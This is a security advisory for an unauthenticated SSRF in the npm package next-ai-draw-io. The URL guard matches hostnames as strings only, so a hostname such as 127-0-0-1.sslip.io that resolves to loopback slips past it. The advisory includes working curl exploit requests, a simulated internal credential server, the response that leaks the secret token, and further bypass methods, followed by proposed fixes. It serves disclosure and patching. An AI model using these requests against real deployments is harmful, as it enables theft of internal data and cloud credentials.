SSRF in `POST /api/parse-url` via DNS Rebinding Bypass
SSRF in POST /api/parse-url via DNS Rebinding Bypass
- Advisory: GHSA-wqcv-5qvx-vx75
- Package:
next-ai-draw-io(npm) - Ecosystem: npm
- Affected versions:
<= 0.4.16 - Severity: High — 8.6
- CVSS v3.1 vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weaknesses (CWE):
- Reliance on Reverse DNS Resolution for a Security-Critical Action (CWE-350)
- Server-Side Request Forgery (SSRF) (CWE-918)
Summary
The /api/parse-url endpoint fetches and extracts article content from a caller-supplied URL server-side. Its SSRF guard (isPrivateUrl() in lib/ssrf-protection.ts) performs string-only hostname matching — it never resolves DNS. An attacker can supply a hostname that passes the string check but resolves to an internal IP (e.g. 127-0-0-1.sslip.io → 127.0.0.1), causing the server to fetch arbitrary internal HTTP services and return their content to the caller. No authentication is required.
Details
Root Cause — lib/ssrf-protection.ts
isPrivateUrl() compares the URL's hostname against a hardcoded blocklist of string literals and IPv4 patterns:
// lib/ssrf-protection.ts — isPrivateUrl()
const hostname = url.hostname.toLowerCase() // pure string, no DNS lookup
if (hostname === "localhost" || hostname === "127.0.0.1" || ...) return true
const ipv4Match = hostname.match(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/)
if (ipv4Match) { /* check RFC-1918 ranges */ }
// Hostnames that look public (e.g. "127-0-0-1.sslip.io") return false → allowed
return falseThe function never calls dns.lookup() or any equivalent. A hostname such as 127-0-0-1.sslip.io passes every check and isPrivateUrl returns false (not private). The subsequent fetch() / extract() calls in the route do resolve DNS via the OS resolver, at which point the hostname resolves to 127.0.0.1 and the request reaches internal services.
Vulnerable Code Path — app/api/parse-url/route.ts
// app/api/parse-url/route.ts
// Line 34 — SSRF check: string-only, DNS never resolved
if (isPrivateUrl(url)) {
return NextResponse.json({ error: "Cannot access private/internal URLs" }, { status: 400 })
}
// Line 43 — HEAD pre-check: fetch() resolves DNS here → reaches internal host
const headResponse = await fetch(url, { method: "HEAD", ... })
// Line 74 — Full extraction: downloads and returns page content to caller
article = await extract(url, undefined, { headers: { "User-Agent": USER_AGENT } })The route converts the fetched HTML to Markdown via Turndown and returns it verbatim to the HTTP caller. This is a read SSRF with full content exfiltration — the attacker receives the internal page body in the response.
Additional Bypass Vectors
isPrivateUrl() is also bypassed by:
- HTTP redirect chains —
fetch()/extract()follow redirects without re-validating the destination IP. A public URL that 302-redirects tohttp://127.0.0.1:PORT/bypasses the guard entirely. - Attacker-controlled DNS — any domain the attacker controls whose A record points to
127.0.0.1or any RFC-1918 address bypasses string matching. - DNS rebinding — serve a public IP for the initial DNS TTL, then switch to
127.0.0.1before the server'sextract()call resolves.
Proof of Concept
Environment:
- Application:
[email protected], Next.js dev server onhttp://localhost:6002 - Internal target: plain HTTP server bound exclusively to
127.0.0.1:9099serving a secret credential token — unreachable from outside - DNS bypass:
sslip.io(public DNS;127-0-0-1.sslip.ioresolves to127.0.0.1) - No authentication header required
Step 1 — Start the internal target
Simulates an internal admin / metadata service:
node -e "
const http = require('node:http')
const SECRET = 'SSRF_PROOF_2f9c7a1e-INTERNAL-METADATA-TOKEN'
http.createServer((req, res) => {
console.log('[HIT]', req.method, req.url)
res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' })
res.end(\`<!DOCTYPE html><html><head><meta charset='utf-8'>
<title>INTERNAL ADMIN — Cloud Credentials</title></head><body><article>
<h1>Internal Infrastructure Console</h1>
<p>Active cloud credential token: \${SECRET}.</p>
</article></body></html>\`)
}).listen(9099, '127.0.0.1', () => console.log('Internal target listening on 127.0.0.1:9099'))
"Step 2 — Control A: raw loopback IP is correctly blocked
curl -s -X POST http://127.0.0.1:6002/api/parse-url \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9099/"}'{"error":"Cannot access private/internal URLs"}Step 3 — Control B: localhost is correctly blocked
curl -s -X POST http://127.0.0.1:6002/api/parse-url \
-H "Content-Type: application/json" \
-d '{"url":"http://localhost:9099/"}'{"error":"Cannot access private/internal URLs"}Step 4 — Exploit: sslip.io DNS bypass
curl -s -X POST http://127.0.0.1:6002/api/parse-url \
-H "Content-Type: application/json" \
-d '{"url":"http://127-0-0-1.sslip.io:9099/"}'Response (HTTP 200):
{
"title": "INTERNAL ADMIN — Cloud Credentials",
"content": "## Internal Infrastructure Console\n\nActive cloud credential token: SSRF\\_PROOF\\_2f9c7a1e\\-INTERNAL\\-METADATA\\-TOKEN...",
"charCount": 512
}The server fetched http://127.0.0.1:9099/ and returned the internal page content — including the secret credential token — to the unauthenticated attacker. The internal target's console prints [HIT] GET /, confirming the Next.js server originated the request.
Note:
extract()converts HTML to Markdown via Turndown, which backslash-escapes characters like_and-. Stripping backslashes from the response recovers the exact original token.
Impact
| Dimension | Detail |
|---|---|
| Who is affected | Any deployment of next-ai-draw-io reachable by an attacker, including developer machines and cloud-hosted instances |
| Authentication required | None — the endpoint is publicly accessible |
| What an attacker can read | AWS / GCP / Azure instance metadata (169.254.169.254) to steal IAM credentials; internal admin panels and config APIs; any HTTP service on 127.0.0.1 or RFC-1918 addresses |
| Blind SSRF? | No — full content of internal HTTP responses is returned verbatim to the attacker |
Recommended Fix
Fix 1 — Resolve DNS before validating (primary fix)
Replace string-only hostname validation with post-resolution IP validation:
import { promises as dns } from "node:dns"
async function isPrivateUrlSafe(urlString: string): Promise<boolean> {
const url = new URL(urlString)
const hostname = url.hostname
// Fast path for obvious string matches
if (isPrivateHostname(hostname)) return true
// Resolve DNS and validate every returned address
try {
const addresses = await dns.lookup(hostname, { all: true })
return addresses.some(({ address }) => isPrivateIp(address))
} catch {
return true // DNS failure → block
}
}
function isPrivateIp(ip: string): boolean {
const parts = ip.split(".").map(Number)
const [a, b] = parts
return (
a === 127 || a === 10 ||
(a === 172 && b >= 16 && b <= 31) ||
(a === 192 && b === 168) ||
(a === 169 && b === 254)
)
}Fix 2 — Block redirect chains from resolving to private IPs
Disable automatic redirect following and validate each hop manually:
// Disable automatic redirect following and validate each hop
fetch(url, { redirect: "manual" })Affected products
- Ecosystem: npm
- Package name:
next-ai-draw-io - Affected versions:
<= 0.4.16 - Patched versions: (pending)
Credits
- @HK4zCzi (Hồ Việt Khánh) — Reporter
Source: DayuanJiang/next-ai-draw-io